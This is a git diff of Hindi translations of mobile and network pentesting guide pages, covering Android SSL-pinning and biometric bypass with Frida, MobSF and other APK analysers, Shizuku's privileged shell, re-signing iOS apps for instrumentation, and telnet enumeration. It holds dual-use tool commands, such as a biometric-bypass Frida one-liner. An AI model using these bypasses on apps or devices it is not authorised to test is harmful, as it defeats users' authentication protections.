- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं (नीचे समझाया गया)
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** का प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
@ -463,9 +463,9 @@ Keystore के अंदर डेटा तक पहुँचने के
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
### **फिंगरप्रिंट/बायोमेट्रिक्स बायपास**
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा कुछ संवेदनशील क्षेत्रों की **सुरक्षा** के लिए किया जा रहा है:
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोग कुछ संवेदनशील क्षेत्रों की सुरक्षा के लिए कर सकते हैं:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -477,7 +477,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
स्नैपशॉट आमतौर पर यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके **स्क्रीनशॉट कैप्चर को रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -518,7 +518,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>)
**Vulnerability assessment of the application** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)।
**ऐप्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)।
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -545,7 +545,7 @@ Android **संस्करण > 5** से, यह **स्वचालित
MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है।
गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
MobSF आपको अपने स्वयं के **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
MobSF आपको अपन **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
![](<../../images/image (419).png>)
@ -573,10 +573,10 @@ receivers
```
**HTTP tools**
जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\
इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध चुनें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\
इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके
एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **fuzz http requests** करें और कमजोरियों की तलाश करें
> [!TIP]
> MobSF के साथ डायनामिक विश्लेषण करने के बाद, प्रॉक्सी सेटिंग्स गलत हो सकती हैं और आप उन्हें GUI से ठीक नहीं कर पाएंगे। आप निम्नलिखित करके प्रॉक्सी सेटिंग्स को ठीक कर सकते हैं:
@ -592,13 +592,13 @@ receivers
### [Yaazhini](https://www.vegabird.com/yaazhini/)
यह एक **शानदार टूल है जो GUI के साथ स्थिर विश्लेषण करने के लिए है**
यह एक **शानदार टूल है जो GUI के साथ स्थैतिक विश्लेषण करने के लिए है**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण करने के लिए एक "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम** है। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल **"Proof-of-Concept" deployable APK** और **ADB commands** बनाने में भी **सक्षम है**, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -620,9 +620,9 @@ reverse-apk relative/path/to/APP.apk
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकते हैं।
सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यक विश्लेषण के लिए अपने नियम बना सकते हैं।
नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
नवीनतम बाइनरी [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
```
super-analyzer {apk_file}
```
@ -632,7 +632,7 @@ super-analyzer {apk_file}
StaCoAn एक **क्रॉसप्लेटफ़ॉर्म** उपकरण है जो डेवलपर्स, बग बाउंटी शिकारियों और नैतिक हैकरों को मोबाइल अनुप्रयोगों पर [स्टैटिक कोड विश्लेषण](https://en.wikipedia.org/wiki/Static_program_analysis) करने में मदद करता है।
इसका सिद्धांत यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को अनुकूलित अनुभव प्राप्त करने के लिएमायोजित र सकत हैं।
इसका सिद्धांत यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को समायोजित कर सकते हैं ताकि एक अनुकूलित अनुभव प्राप्त कर सकें।
डाउनलोड[ नवीनतम रिलीज़](https://github.com/vincentcox/StaCoAn/releases):
```
@ -650,9 +650,9 @@ androbugs.exe -f [APK file]
**Androwarn** एक उपकरण है जिसका मुख्य उद्देश्य Android एप्लिकेशन द्वारा विकसित संभावित दुर्भावनापूर्ण व्यवहारों का पता लगाना और उपयोगकर्ता को चेतावनी देना है।
पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik बाइटकोड का **स्थैतिक विश्लेषण** करके की जाती है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ।
पता लगान**स्टेटिक एनालिसिस** के साथ किया जाता है जो एप्लिकेशन के Dalvik बाइटकोड का विश्लेषण करता है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ।
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का निष्कासन, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाना कोड निष्पादन...
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ता का एक्सफिल्ट्रेशन, ऑडियो/वीडियो प्रवाह का इंटरसेप्शन, PIM डेटा में संशोधन, मनमाना कोड निष्पादन...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -675,7 +675,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com)
## कोड को ओबफस्केटिंग/डिओबफस्केटिंग करना
## कोड को ओबफस्केट/डिओबफस्केट करना
ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं।
@ -683,7 +683,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
[विकिपीडिया](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है।
ProGuard Android SDK का एक हिस्सा है और रिलीज़ मोड में एप्लिकेशन बनाने पर चलता है।
ProGuard Android SDK का एक हिस्सा है और एप्लिकेशन को रिलीज़ मोड में बनाने पर चलता है।
### [DexGuard](https://www.guardsquare.com/dexguard)
@ -692,9 +692,9 @@ APK को डिओबफस्केट करने के लिए चर
(उस गाइड से) आखिरी बार जब हमने जांचा, Dexguard का संचालन मोड था:
- एक संसाधन को InputStream के रूप में लोड करें;
- इसे डिक्रिप्ट करने के लिए FilterInputStream से विरासत में मिली एक क्लास को परिणाम दें;
- इसे FilterInputStream से विरासत में मिली एक कक्षा को डिक्रिप्ट करने के लिए परिणाम दें;
- एक रिवर्सर के समय को बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें;
- DEX फ़ाइल प्राप्त करने के लिए डिक्रिप्टेड परिणाम को ZipInputStream में दें;
- डिक्रिप्टेड परिणाम को ZipInputStream में दें ताकि एक DEX फ़ाइल प्राप्त हो सके;
- अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक संसाधन के रूप में लोड करें।
### [DeGuard](http://apk-deguard.com)
@ -709,7 +709,7 @@ APK को डिओबफस्केट करने के लिए चर
### [Simplify](https://github.com/CalebFenton/simplify)
यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है।
यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है।
### [APKiD](https://github.com/rednaga/APKiD)

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Shizuku एक ओपन-सोर्स सेवा है जो **`app_process` का उपयोग करके एक विशेष Java प्रक्रिया उत्पन्न करती है** और चयनित **Android सिस्टम APIs को Binder के माध्यम से उजागर करती है**। चूंकि प्रक्रिया को उसी **`shell` UID क्षमताओं के साथ लॉन्च किया जाता है जो ADB उपयोग करता है**, कोई भी एप्लिकेशन (या टर्मिनल) जो निर्यातित AIDL इंटरफेस से बंधता है, कई कार्य कर सकता है जो सामान्यतः **`WRITE_SECURE_SETTINGS`, `INSTALL_PACKAGES`, `/data` के अंदर फ़ाइल I/O** आदि की आवश्यकता होती है - **बिना डिवाइस को रूट किए**।
Shizuku एक ओपन-सोर्स सेवा है जो **`app_process` का उपयोग करके एक विशेषाधिकार प्राप्त Java प्रक्रिया उत्पन्न करती है** और चयनित **Android सिस्टम APIs को Binder के माध्यम से उजागर करती है**। चूंकि प्रक्रिया को उसी **`shell` UID क्षमताओं के साथ लॉन्च किया जाता है जो ADB उपयोग करता है**, कोई भी एप्लिकेशन (या टर्मिनल) जो निर्यातित AIDL इंटरफेस से बंधता है, कई कार्य कर सकता है जो सामान्यतः **`WRITE_SECURE_SETTINGS`, `INSTALL_PACKAGES`, `/data` के अंदर फ़ाइल I/O** आदि की आवश्यकता होती है - **डिवाइस को रूट किए बिना**।
विशिष्ट उपयोग के मामले:
* बिना रूट किए हैंडसेट से सुरक्षा ऑडिटिंग
@ -11,7 +11,7 @@ Shizuku एक ओपन-सोर्स सेवा है जो **`app_proce
* कस्टम ऐप्स या शेल स्क्रिप्ट से डिवाइस कॉन्फ़िगरेशन स्वचालित करना
---
## 1. विशेष सेवा शुरू करना
## 1. विशेषाधिकार प्राप्त सेवा शुरू करना
`moe.shizuku.privileged.api` को तीन अलग-अलग तरीकों से शुरू किया जा सकता है - परिणामस्वरूप Binder सेवा सभी में समान व्यवहार करती है।
@ -61,7 +61,7 @@ Settings.Global.putInt(resolver, Settings.Global.ADB_ENABLED, 1);
---
## 3. Rish Termux के अंदर ऊंचा शेल
Shizuku सेटिंग्स स्क्रीन **टर्मिनल ऐप्स में Shizuku का उपयोग करें”** को प्रदर्शित करती है। इसे सक्षम करने पर *rish* (`/data/local/tmp/rish`) डाउनलोड होता है।
Shizuku सेटिंग्स स्क्रीन **Use Shizuku in terminal apps”** को प्रदर्शित करती है। इसे सक्षम करने पर *rish* (`/data/local/tmp/rish`) डाउनलोड होता है।
```bash
pkg install wget
wget https://rikka.app/rish/latest -O rish && chmod +x rish
@ -98,13 +98,13 @@ pm uninstall --user 0 com.miui.weather2
---
## 4. सुरक्षा विचार / पहचान
1. Shizuku को **ADB डिबगिंग** विशेषाधिकार की आवश्यकता होती है, इसलिए _डेवलपर विकल्प → USB/वायरलेस डिबगिंग_ को **सक्षम** करना चाहिए
संस्थाएँ इसे MDM के माध्यम से या `settings put global development_settings_enabled 0` के जरिए ब्लॉक कर सकती हैं।
2. सेवा अपने आप को `moe.shizuku.privileged.api` नाम के तहत पंजीकृत करती है।
1. Shizuku को **ADB डिबगिंग** विशेषाधिकार की आवश्यकता है, इसलिए _डेवलपर विकल्प → USB/वायरलेस डिबगिंग_ को **सक्षम** करना होगा
संस्थाएँ इसे MDM के माध्यम से या `settings put global development_settings_enabled 0` के माध्यम से ब्लॉक कर सकती हैं।
2. सेवा अपने नाम `moe.shizuku.privileged.api` के तहत पंजीकृत होती है।
एक साधारण `adb shell service list | grep shizuku` (या एंडपॉइंट सुरक्षा नियम) इसकी उपस्थिति का पता लगाता है।
3. क्षमताएँ उस पर सीमित हैं जो `shell` उपयोगकर्ता पहले से कर सकता है यह **रूट** नहीं है।
3. क्षमताएँ उस पर सीमित हैं जो `shell` उपयोगकर्ता पहले से कर सकता है - यह **रूट** नहीं है।
संवेदनशील APIs जो `system` या `root` उपयोगकर्ता की आवश्यकता होती हैं, अभी भी अप्राप्य हैं।
4. सत्र **रिबूट** के बाद जीवित नहीं रहते जब तक डिवाइस रूटेड न हो और Shizuku को स्टार्टअप डेमन के रूप में कॉन्फ़िगर न किया गया हो।
4. सत्र **रिबूट** के बाद जीवित नहीं रहते जब तक डिवाइस रूटेड न हो और Shizuku को स्टार्टअप डेमन के रूप में कॉन्फ़िगर न किया गया हो।
---
## 5. शमन
@ -115,9 +115,9 @@ pm uninstall --user 0 com.miui.weather2
---
## संदर्भ
- [ब्लॉग Shizuku: बिना रूट के उन्नत Android क्षमताओं को अनलॉक करना](https://www.mobile-hacker.com/2025/07/14/shizuku-unlocking-advanced-android-capabilities-without-root/)
- [Shizuku आधिकारिक दस्तावेज़ीकरण](https://shizuku.rikka.app/)
- [awesome-shizuku समर्थित ऐप्स की सूची](https://github.com/timschneeb/awesome-shizuku)
- [rish शेल (privileged reverse-adb shell)](https://github.com/RikkaApps/Shizuku/blob/master/RISH.md)
- [Blog Shizuku: Unlocking Advanced Android Capabilities Without Root](https://www.mobile-hacker.com/2025/07/14/shizuku-unlocking-advanced-android-capabilities-without-root/)
- [Shizuku Official Documentation](https://shizuku.rikka.app/)
- [awesome-shizuku list of supported apps](https://github.com/timschneeb/awesome-shizuku)
- [rish shell (privileged reverse-adb shell)](https://github.com/RikkaApps/Shizuku/blob/master/RISH.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# iOS Pentesting बिना Jailbreak
# iOS Pentesting बिना Jailbreak के
{{#include ../../banners/hacktricks-training.md}}
@ -31,7 +31,7 @@ IPA को डिक्रिप्ट करने के लिए हम इ
```bash
unzip redacted.ipa -d unzipped
```
`Info.plist` में न्यूनतम समर्थित संस्करण के लिए जांचें और यदि आपका डिवाइस उससे पुराना है, तो मान को बदलें ताकि यह समर्थित हो सके
`Info.plist` में न्यूनतम समर्थित संस्करण के लिए जांचें और यदि आपका डिवाइस उससे पुराना है, तो मान को बदलें ताकि यह समर्थित हो।
IPA को फिर से ज़िप करें:
```bash
@ -48,11 +48,11 @@ ideviceinstaller -i no-min-version.ipa -w
### पैच अधिकार और फिर से साइन करें
`get-task-allow` अधिकार के साथ एप्लिकेशन को फिर से साइन करने के लिए कई उपकरण उपलब्ध हैं जैसे `app-signer`, `codesign`, और `iResign``app-signer` का एक बहुत उपयोगकर्ता-अनुकूल इंटरफ़ेस है जो एक IPA फ़ाइल को फिर से साइन करने की अनुमति देता है, जिसमें फिर से साइन करने के लिए IPA, **`get-taks-allow`** डालना और उपयोग करने के लिए प्रमाणपत्र और प्रोविजनिंग प्रोफ़ाइल शामिल है।
`get-task-allow` अधिकार के साथ एप्लिकेशन को फिर से साइन करने के लिए कई उपकरण उपलब्ध हैं जैसे `app-signer`, `codesign`, और `iResign``app-signer` का एक बहुत उपयोगकर्ता-अनुकूल इंटरफ़ेस है जो एक IPA फ़ाइल को फिर से साइन करने की अनुमति देता है, जिसमें फिर से साइन करने के लिए IPA को इंगित करना, **`get-taks-allow` डालना** और उपयोग करने के लिए प्रमाणपत्र और प्रोविजनिंग प्रोफ़ाइल शामिल है।
प्रमाणपत्र और साइनिंग प्रोफाइल के संबंध में, Apple सभी खातों के लिए Xcode के माध्यम से **मुफ्त डेवलपर साइनिंग प्रोफाइल** प्रदान करता है। बस एक ऐप बनाएं और एक कॉन्फ़िगर करें। फिर, `Settings``Privacy & Security` पर जाकर **iPhone को डेवलपर ऐप्स पर भरोसा करने के लिए कॉन्फ़िगर करें**, और `Developer Mode` पर क्लिक करें।
फिर से साइन की गई IPA के साथ, इसे डिवाइस में स्थापित करने का समय है ताकि इसे pentest किया जा सके:
फिर से साइन की गई IPA के साथ, इसे डिवाइस में स्थापित करने का समय है ताकि इसे पेंटेस्ट किया जा सके:
```bash
ideviceinstaller -i resigned.ipa -w
```
@ -60,13 +60,13 @@ ideviceinstaller -i resigned.ipa -w
### डेवलपर मोड सक्षम करें (iOS 16+)
iOS 16 से Apple ने **डेवलपर मोड** पेश किया: कोई भी बाइनरी जो `get_task_allow` ले जाती है *या* एक विकास प्रमाणपत्र के साथ हस्ताक्षरित है, तब तक लॉन्च करने से मना कर देगी जब तक कि डिवाइस पर डेवलपर मोड सक्षम न हो। आप Frida/LLDB को भी संलग्न नहीं कर पाएंगे जब तक कि यह ध्वज चालू न हो
iOS 16 से Apple ने **डेवलपर मोड** पेश किया: कोई भी बाइनरी जो `get_task_allow` ले जाती है *या* एक विकास प्रमाणपत्र के साथ हस्ताक्षरित है, तब तक लॉन्च करने से मना कर देगी जब तक कि डिवाइस पर डेवलपर मोड सक्षम नहीं किया गया है। आप इस फ्लैग के चालू होने तक Frida/LLDB को भी संलग्न नहीं कर पाएंगे।
1. फोन पर **कोई भी** डेवलपर-हस्ताक्षरित IPA स्थापित या पुश करें।
2. **सेटिंग्स → गोपनीयता और सुरक्षा → डेवलपर मोड** पर जाएं और इसे चालू करें।
3. डिवाइस पुनरारंभ होगा; पासकोड दर्ज करने के बाद आपसे **डेवलपर मोड चालू करें** के लिए कहा जाएगा।
डेवलपर मोड सक्रिय रहता है जब तक आप इसे बंद नहीं करते या फोन को मिटाते नहीं हैं, इसलिए यह कदम प्रति डिवाइस केवल एक बार करना होता है। [Apple दस्तावेज़](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) सुरक्षा निहितार्थों को स्पष्ट करता है।
डेवलपर मोड सक्रिय रहता है जब तक आप इसे बंद नहीं करते या फोन को मिटाते नहीं हैं, इसलिए यह कदम प्रति डिवाइस केवल एक बार करना होता है। [Apple दस्तावेज़](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) सुरक्षा निहितार्थों को समझाता है।
### आधुनिक साइडलोडिंग विकल्प
@ -79,7 +79,7 @@ iOS 16 से Apple ने **डेवलपर मोड** पेश किय
वर्तमान iOS संस्करणों पर नियमित पेंटेस्ट के लिए Alt/Side-Store आमतौर पर सबसे व्यावहारिक विकल्प होते हैं।
### हुकिंग / गतिशील इंस्ट्रुमेंटेशन
### हुकिंग / डायनामिक इंस्ट्रुमेंटेशन
आप अपने ऐप को ठीक उसी तरह हुक कर सकते हैं जैसे एक जेलब्रोकन डिवाइस पर जब यह `get_task_allow` के साथ हस्ताक्षरित हो **और** डेवलपर मोड चालू हो:
```bash
@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
### स्वचालित डायनामिक विश्लेषण MobSF के साथ (कोई जेलब्रेक नहीं)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) एक वास्तविक डिवाइस पर एक डेवलपर-साइन किया हुआ IPA को उसी तकनीक (`get_task_allow`) का उपयोग करके इंस्ट्रूमेंट कर सकता है और फाइल सिस्टम ब्राउज़र, ट्रैफ़िक कैप्चर और Frida कंसोल के साथ एक वेब UI प्रदान करता है【】। सबसे तेज़ तरीका यह है कि MobSF को Docker में चलाएं और फिर अपने iPhone को USB के माध्यम से कनेक्ट करें:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) एक वास्तविक डिवाइस पर एक डेवलपर-साइन किए गए IPA को उसी तकनीक (`get_task_allow`) का उपयोग करके इंस्ट्रूमेंट कर सकता है और फाइल सिस्टम ब्राउज़र, ट्रैफ़िक कैप्चर और Frida कंसोल के साथ एक वेब UI प्रदान करता है【】। सबसे तेज़ तरीका यह है कि MobSF को Docker में चलाएं और फिर अपने iPhone को USB के माध्यम से कनेक्ट करें:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \
@ -105,13 +105,13 @@ MobSF स्वचालित रूप से बाइनरी को तै
### iOS 17 & लॉकडाउन मोड चेतावनियाँ
* **लॉकडाउन मोड** (सेटिंग्स → गोपनीयता और सुरक्षा) अस्वीकृत या बाहरी रूप से हस्ताक्षरित गतिशील पुस्तकालयों को लोड करने से गतिशील लिंक को रोकता है। उन उपकरणों का परीक्षण करते समय जिनमें यह मोड सक्षम हो सकता है, सुनिश्चित करें कि यह **अक्षम** है, अन्यथा आपके Frida/objection सत्र तुरंत समाप्त हो जाएंगे।
* पॉइंटर ऑथेंटिकेशन (PAC) A12+ उपकरणों पर प्रणाली-व्यापी लागू किया गया है। Frida ≥16 पारदर्शी रूप से PAC स्ट्रिपिंग को संभालता है - बस सुनिश्चित करें कि *frida-server* और Python/CLI टूलचेन नवीनतम रहें जब एक नया प्रमुख iOS संस्करण जारी हो।
* **लॉकडाउन मोड** (सेटिंग्स → गोपनीयता और सुरक्षा) अस्वीकृत या बाहरी रूप से हस्ताक्षरित गतिशील पुस्तकालयों को लोड करने से गतिशील लिंक को रोकता है। उन उपकरणों का परीक्षण करते समय जिनमें यह मोड सक्षम हो सकता है, सुनिश्चित करें कि यह **अक्षम** है या आपकी Frida/objection सत्र तुरंत समाप्त हो जाएंगे।
* पॉइंटर ऑथेंटिकेशन (PAC) A12+ उपकरणों पर प्रणाली-व्यापी लागू किया गया है। Frida ≥16 पारदर्शी रूप से PAC स्ट्रिपिंग को संभालता है बस सुनिश्चित करें कि *frida-server* और Python/CLI टूलचेन नवीनतम रहें जब एक नया प्रमुख iOS संस्करण जारी हो।
## संदर्भ
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
- Apple डेवलपर दस्तावेज़ एक उपकरण पर डेवलपर मोड सक्षम करना: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
- मोबाइल सुरक्षा ढांचा (MobSF): <https://mobsf.github.io/Mobile-Security-Framework-MobSF/>
- Apple developer documentation Enabling Developer Mode on a device: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
- Mobile Security Framework (MobSF): <https://mobsf.github.io/Mobile-Security-Framework-MobSF/>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,7 @@
{{#include ../banners/hacktricks-training.md}}
## **बुनियादी जानकारी**
## **मूल जानकारी**
Telnet एक नेटवर्क प्रोटोकॉल है जो उपयोगकर्ताओं को नेटवर्क के माध्यम से एक कंप्यूटर तक पहुँचने का UNsecure तरीका प्रदान करता है।
@ -21,9 +21,9 @@ nc -vn <IP> 23
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
The script `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
स्क्रिप्ट `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
